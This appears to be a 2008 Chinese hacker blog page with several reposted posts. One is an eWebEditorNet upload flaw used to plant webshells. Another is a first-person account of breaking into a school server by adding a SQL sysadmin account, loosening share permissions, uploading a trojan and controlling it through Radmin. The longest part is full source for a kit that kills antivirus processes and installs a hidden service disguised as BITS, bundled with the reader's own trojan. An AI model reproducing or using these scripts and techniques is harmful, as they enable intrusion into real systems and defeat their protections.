一女子下夜班,一男子尾随图谋不轨,女子慎怕,路过坟地,灵机一动,对坟墓说:爸爸,我回来了,开门啊.男子大惧,哇哇大叫奔逃.女子心安,正要离开,忽然从坟墓中传来阴森森的声音：闺女,你又忘了带 _匙啊.女子惊骇,也哇哇奔逃.这时从坟墓里钻出个盗墓的说：靠,耽误我工作,吓死你们！ 盗墓的话音刚落,发现旁边有个老头正拿著凿子刻墓碑,好奇,问之,老头愤怒地说,NND,他们把我的名字刻错了……盗墓的大惧,哇哇叫著奔逃.老头冷笑一声：“靠,敢和我抢生意,还嫩点儿……”
驱动防火墙 Ver 3.1
[ 2008/08/18 16:24 | by selboo ]
转自 http://www.wolfexp.net/forum/viewthread.php?tid=6714&extra=page%3D1
由网维的驱动防火墙思路而做.加入多种方式拦截功能,加入拦截网马功能,经测试可拦截市面上所有网马,与还原系统配合,很爽.....
比1.0新增了一些敏感函数,如果没有发现新的加载驱动的方法,很可能是最后一个版本
经本人测试2000,xp,2003下均能稳定的运行,也是偶学驱动这段时间的一个小作品吧,算是实质性的东西,牛们不要笑我.
附上拦截网马和驱动的图
2008/08/15 04:28 更正优化了部分代码,更加稳定
2008/08/16 16:28 加入用户模式,后台模式两种启动方式,后台模式程序后跟参数"noquit"启动,后台模式禁止关闭,禁止更改配置
2008/08/16 23:18 更正旧服务端没删除干净引起的BUG
2008/08/18 00:04 加入对一些敏感函数的监视
2008/08/18 15:21 加强对自身的防护
eWebEditorNet的upload.aspx漏洞
[ 2008/08/18 14:07 | by selboo ]
eWebEditorNet 主要是一个upload.aspx文件存在上传漏洞。
原理：
代码
<form id="post" encType="server">
"uploadfile" style="file" size="uploadfile" runat=
"lbtnUpload" runat=
"JavaScript">
"uploadfile" style="file" size="uploadfile" runat=
"lbtnUpload" runat=
"JavaScript">
只是简单的对ID进行验证
只要构造javascript:lbtnUpload.click();满足条件
达到上传木马的效果
成功以后查看源代码
代码
a "lbtnUpload" "javascript:__doPostBack('lbtnUpload','')"</>script 'javascript'</>
木马的具体地址为
/eWebEditorNet/UploadFile/200801141044412198.cer
这样就轻松的拿下了一个网站。
入侵新技巧-CMD下加Sql账号
[ 2008/08/18 13:10 | by selboo ]
这个服务器可以用sql溢出，可惜就是找不到进一步的入侵方法，因而一直也没有拿下来。今天在校盟看到一篇文章，说是在cmd下也可以中入sql账号和密码，方法如下：
echo exec master.dbo.sp_addlogin ’rooto’,’******’ >test.qry
echo exec sp_addsrvrolemember ’rooto’,’sysadmin’ >>test.qry
cmd.exe /c isql -E /U alma /P /i c:\test.qry
看完后立马去试了一下，居然真的成功了，可是由于溢出，服务器的sql服务已经停止，只好等它下次启动时再运行了。不过对我来说，这种加sql账号的方法还是第一次，所以得拿出来记一下，以备以后还有能用得着的时候，呵呵。
关于后面的也就不说了，大体上都是以前的老方法了，虽然我现在还没有进一步，但估计已在我手中了。
上次写到哪儿就没写了，这次还是想写点东西的。
上次说入侵这个还挺简单，可是我在后来的入侵过程中，发现并不是那么简单，加了sql账号，以后可以有系统权限了，没想到进去一看，发现删了xplog70.dll和cmdshell，奶奶的，下面如果再入侵就难多了，到邪八发帖，居然没通过，一直发不出来，到火狐去发帖，几天都没有回，看来还是得自己搞定了。
这样一直过了几天，后来我在我的硬盘里找啊找，发现了一个nocmdshell执得命令的工具，一看是幻影的人写的，妈妈的，刺还的队伍还真不错，写的工具也牛B。打开工具试了下，发现真的成功了，可以加账号和执行命令，不过我试了tftp和echo都不行，看来还是有一些问题。虽然可以执行命令了，但还不能将我的木马传上去，这跟我以前的SQL溢出的权限还是一样的，还丢了ehco命令，以前还可以echo的，到底如何是好呢，问了几个朋友，都没有得到我想要的答案。
后来习惯的输入"net share"看了一下，吓死，姐姐的，看到了IPC$，这个我以前很少玩过，没想到今天遇到了，立马到网上找了相关的IPC$入侵资料。照着资料弄，可是还是不行，原来主机上就只有一个ipc$共享和一个cdbook_tem的共享，于是加了在cmd下加了一个共享"net share rooto=c:\"，然后在IPC$里输入copy update.exe \\*****\rooto，响响的按下了回车，带着微笑的...
下面让我看到的一幕真让我伤心：“拒绝访问...已复掉0个文件"，晕死哦，奶奶的，不是加了共享了吗，还不让我上传，真BT。于是转到D盘，看到一个temp文件是空的，于是将它设为共享，并设入everyone共享，谁知又出错，没有权限，没想到管理员这么强啊，这还真让我感到有挑战性了。不信就搞不定你，于是我又来到E盘，看到一个Bak的文件夹，进去一看，发现是空的，这个应该有写权限吧，将它设为共享，再copy，可还是
不行，将为共享吧，命令如下：
cacls d:\website /g everyone:f /e /t 授予此用户对该目录的完全控制权限
cacls d:\website /r everyone /e /t 取消其它用户对此目录的访问权限
我是没想着可以成功的，可谁知他奶的成功了，后来一阵狂喜。呵呵。
机不可失，失不再来，立马上传了木马文件，运行了一下，看到Radmin可以连接了，我心想，这才算是成功了啊。呵呵。
后来用Radmin连接它的盘时发现D盘是一个光盘，汗死，光盘也长期挂在电脑上，真是服了学校这帮玩意们。我还以为真是它BT呢，原来是这样啊。
这个服务器的入侵就到此结束了，近期也在与学校一位老师Q聊着，关于学校SQL溢出的严重漏洞已不可小视了，我已将补丁地址发给他们了，希望他们能及时打上补丁。
可以干掉瑞星,金山,nod32,360的小东西
[ 2008/08/17 17:14 | by selboo ]
这里有到了两个bat和两个vbs+一个kill.exe
下面是源码:
setdt.vbs的源码:
set Cleaner=createobject("wscript.shell")
Cleaner.run "setdt.bat",vbhide
Cleaner.run "setdt.bat",vbhide
setdt.bat的源码:
@ECHO OFF
@date /t>C:\time.txt
date 1988-09-18
hide.vbs
@date <C:\time.txt
del %SystemRoot%\system32\setdt.vbs
del %SystemRoot%\system32\hide.vbs
del %SystemRoot%\system32\command.exe
del %SystemRoot%\system32\xKill.exe
del %SystemRoot%\system32\xkill.bat
del C:\time.txt
del %0
@date /t>C:\time.txt
date 1988-09-18
hide.vbs
@date <C:\time.txt
del %SystemRoot%\system32\setdt.vbs
del %SystemRoot%\system32\hide.vbs
del %SystemRoot%\system32\command.exe
del %SystemRoot%\system32\xKill.exe
del %SystemRoot%\system32\xkill.bat
del C:\time.txt
del %0
hide.vbs的源码:
dim shell
set shell=CreateObject("Wscript.Shell")
WScript.Sleep 100000
shell.run "cmd /c start %SystemRoot%\system32\xKill.exe",0
set Cleaner=createobject("wscript.shell")
Cleaner.run "xkill.bat",vbhide
WScript.Sleep 100000
shell.run "cmd /c start %SystemRoot%\system32\command.exe",0
set shell=CreateObject("Wscript.Shell")
WScript.Sleep 100000
shell.run "cmd /c start %SystemRoot%\system32\xKill.exe",0
set Cleaner=createobject("wscript.shell")
Cleaner.run "xkill.bat",vbhide
WScript.Sleep 100000
shell.run "cmd /c start %SystemRoot%\system32\command.exe",0
xkill.bat的源码:
@echo off
taskkill /f /im rstray.exe >NUL
taskkill /f /im 360tray.exe >NUL
taskkill /f /im 360safe.exe >NUL
echo Windows Registry Editor Version 5.00>>kill.reg
echo [HKEY_LOCAL_MACHINE\SOFTWARE\360Safe\safemon]>>kill.reg
echo "MonAccess"=dword:00000000>>kill.reg
echo "SiteAccess"=dword:00000000>>kill.reg
echo "ExecAccess"=dword:00000000>>kill.reg
echo "UDiskAccess"=dword:00000000>>kill.reg
echo "LeakShowed"=dword:00000000>>kill.reg
sc create DARK binpath= %windir%\System32\darkkill.dll
sc config DARK start= disabled
echo Windows Registry Editor Version 5.00>>dark.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\DARK]>>dark.reg
echo "Type"=dword:00000110>>dark.reg
echo "Start"=dword:00000002>>dark.reg
echo "ErrorControl"=dword:00000001>>dark.reg
echo "ImagePath"=hex(2):25,00,53,00,79,00,73,00,74,00,65,00,6d,00,52,00,6f,00,6f,00,\>>dark.reg
echo 74,00,25,00,5c,00,73,00,79,00,73,00,74,00,65,00,6d,00,33,00,32,00,5c,00,73,\>>dark.reg
echo 00,76,00,63,00,68,00,6f,00,73,00,74,00,2e,00,65,00,78,00,65,00,20,00,2d,00,\>>dark.reg
echo 6b,00,20,00,6e,00,65,00,74,00,73,00,76,00,63,00,73,00,00,00>>dark.reg
echo "DisplayName"="Background Intelligent Transfer Service">>dark.reg
echo "DependOnService"=hex(7):52,00,70,00,63,00,53,00,73,00,00,00,00,00>>dark.reg
echo "DependOnGroup"=hex(7):00,00>>dark.reg
echo "ObjectName"="LocalSystem">>dark.reg
echo "Description"=hex(2):00,00>>dark.reg
echo
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\DARK\Parameters]>>dark.reg
echo "ServiceDll"=hex(2):43,00,3a,00,5c,00,57,00,49,00,4e,00,44,00,4f,00,57,00,53,\>>dark.reg
echo 00,5c,00,73,00,79,00,73,00,74,00,65,00,6d,00,33,00,32,00,5c,00,64,00,61,00,\>>dark.reg
echo 72,00,6b,00,6b,00,69,00,6c,00,6c,00,2e,00,64,00,6c,00,6c,00,00,00>>dark.reg
echo
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\DARK\Security]>>dark.reg
echo "Security"=hex:01,00,14,80,90,00,00,00,9c,00,00,00,14,00,00,00,30,00,00,00,02,\>>dark.reg
echo 00,1c,00,01,00,00,00,02,80,14,00,ff,01,0f,00,01,01,00,00,00,00,00,01,00,00,\>>dark.reg
echo 00,00,02,00,60,00,04,00,00,00,00,00,14,00,fd,01,02,00,01,01,00,00,00,00,00,\>>dark.reg
echo 05,12,00,00,00,00,00,18,00,ff,01,0f,00,01,02,00,00,00,00,00,05,20,00,00,00,\>>dark.reg
echo 20,02,00,00,00,00,14,00,8d,01,02,00,01,01,00,00,00,00,00,05,0b,00,00,00,00,\>>dark.reg
echo 00,18,00,fd,01,02,00,01,02,00,00,00,00,00,05,20,00,00,00,23,02,00,00,01,01,\>>dark.reg
echo 00,00,00,00,00,05,12,00,00,00,01,01,00,00,00,00,00,05,12,00,00,00>>dark.reg
echo
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\DARK\Enum]>>dark.reg
echo "0"="Root\\LEGACY_DARK\\0000">>dark.reg
echo "Count"=dword:00000001>>dark.reg
echo "NextInstance"=dword:00000001>>dark.reg
regedit /s dark.reg
regedit /s kill.reg
COPY dark.dll %windir%\System32\darkkill.dll
sc config DARK start= AUTO
net start DARK
attrib %windir%\System32\darkkill.dll +s +h
del kill.reg
del dark.reg
del dark.dll
del dark.exe
xkill.exe
taskkill /f /im kav.exe >NUL
del %0
taskkill /f /im rstray.exe >NUL
taskkill /f /im 360tray.exe >NUL
taskkill /f /im 360safe.exe >NUL
echo Windows Registry Editor Version 5.00>>kill.reg
echo [HKEY_LOCAL_MACHINE\SOFTWARE\360Safe\safemon]>>kill.reg
echo "MonAccess"=dword:00000000>>kill.reg
echo "SiteAccess"=dword:00000000>>kill.reg
echo "ExecAccess"=dword:00000000>>kill.reg
echo "UDiskAccess"=dword:00000000>>kill.reg
echo "LeakShowed"=dword:00000000>>kill.reg
sc create DARK binpath= %windir%\System32\darkkill.dll
sc config DARK start= disabled
echo Windows Registry Editor Version 5.00>>dark.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\DARK]>>dark.reg
echo "Type"=dword:00000110>>dark.reg
echo "Start"=dword:00000002>>dark.reg
echo "ErrorControl"=dword:00000001>>dark.reg
echo "ImagePath"=hex(2):25,00,53,00,79,00,73,00,74,00,65,00,6d,00,52,00,6f,00,6f,00,\>>dark.reg
echo 74,00,25,00,5c,00,73,00,79,00,73,00,74,00,65,00,6d,00,33,00,32,00,5c,00,73,\>>dark.reg
echo 00,76,00,63,00,68,00,6f,00,73,00,74,00,2e,00,65,00,78,00,65,00,20,00,2d,00,\>>dark.reg
echo 6b,00,20,00,6e,00,65,00,74,00,73,00,76,00,63,00,73,00,00,00>>dark.reg
echo "DisplayName"="Background Intelligent Transfer Service">>dark.reg
echo "DependOnService"=hex(7):52,00,70,00,63,00,53,00,73,00,00,00,00,00>>dark.reg
echo "DependOnGroup"=hex(7):00,00>>dark.reg
echo "ObjectName"="LocalSystem">>dark.reg
echo "Description"=hex(2):00,00>>dark.reg
echo
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\DARK\Parameters]>>dark.reg
echo "ServiceDll"=hex(2):43,00,3a,00,5c,00,57,00,49,00,4e,00,44,00,4f,00,57,00,53,\>>dark.reg
echo 00,5c,00,73,00,79,00,73,00,74,00,65,00,6d,00,33,00,32,00,5c,00,64,00,61,00,\>>dark.reg
echo 72,00,6b,00,6b,00,69,00,6c,00,6c,00,2e,00,64,00,6c,00,6c,00,00,00>>dark.reg
echo
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\DARK\Security]>>dark.reg
echo "Security"=hex:01,00,14,80,90,00,00,00,9c,00,00,00,14,00,00,00,30,00,00,00,02,\>>dark.reg
echo 00,1c,00,01,00,00,00,02,80,14,00,ff,01,0f,00,01,01,00,00,00,00,00,01,00,00,\>>dark.reg
echo 00,00,02,00,60,00,04,00,00,00,00,00,14,00,fd,01,02,00,01,01,00,00,00,00,00,\>>dark.reg
echo 05,12,00,00,00,00,00,18,00,ff,01,0f,00,01,02,00,00,00,00,00,05,20,00,00,00,\>>dark.reg
echo 20,02,00,00,00,00,14,00,8d,01,02,00,01,01,00,00,00,00,00,05,0b,00,00,00,00,\>>dark.reg
echo 00,18,00,fd,01,02,00,01,02,00,00,00,00,00,05,20,00,00,00,23,02,00,00,01,01,\>>dark.reg
echo 00,00,00,00,00,05,12,00,00,00,01,01,00,00,00,00,00,05,12,00,00,00>>dark.reg
echo
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\DARK\Enum]>>dark.reg
echo "0"="Root\\LEGACY_DARK\\0000">>dark.reg
echo "Count"=dword:00000001>>dark.reg
echo "NextInstance"=dword:00000001>>dark.reg
regedit /s dark.reg
regedit /s kill.reg
COPY dark.dll %windir%\System32\darkkill.dll
sc config DARK start= AUTO
net start DARK
attrib %windir%\System32\darkkill.dll +s +h
del kill.reg
del dark.reg
del dark.dll
del dark.exe
xkill.exe
taskkill /f /im kav.exe >NUL
del %0
xkill.exe
下载文件 (已下载 154 次)大家不要把xkill.exe上传到杀毒网上试试,曾经有一份真挚的免杀马摆在我的面前,我没有去珍惜.把它上传到杀毒网上www.virustotal.com,结果........
这个小工具请解压后,将你的马复制到解压目录,并重命名为command.exe,然后用winrar打包生成自解压文件,选择解压后运行setdt.vbs
Copyright(C) 1999-2008 搁氵,━═戋 All Rights Reserved BloG: http://hi.baidu.com/hackerfield
红狼远控安全小组: http://www.wolfexp.net/
工具md5值: 9566b78aa412970b148f90baa137e7de
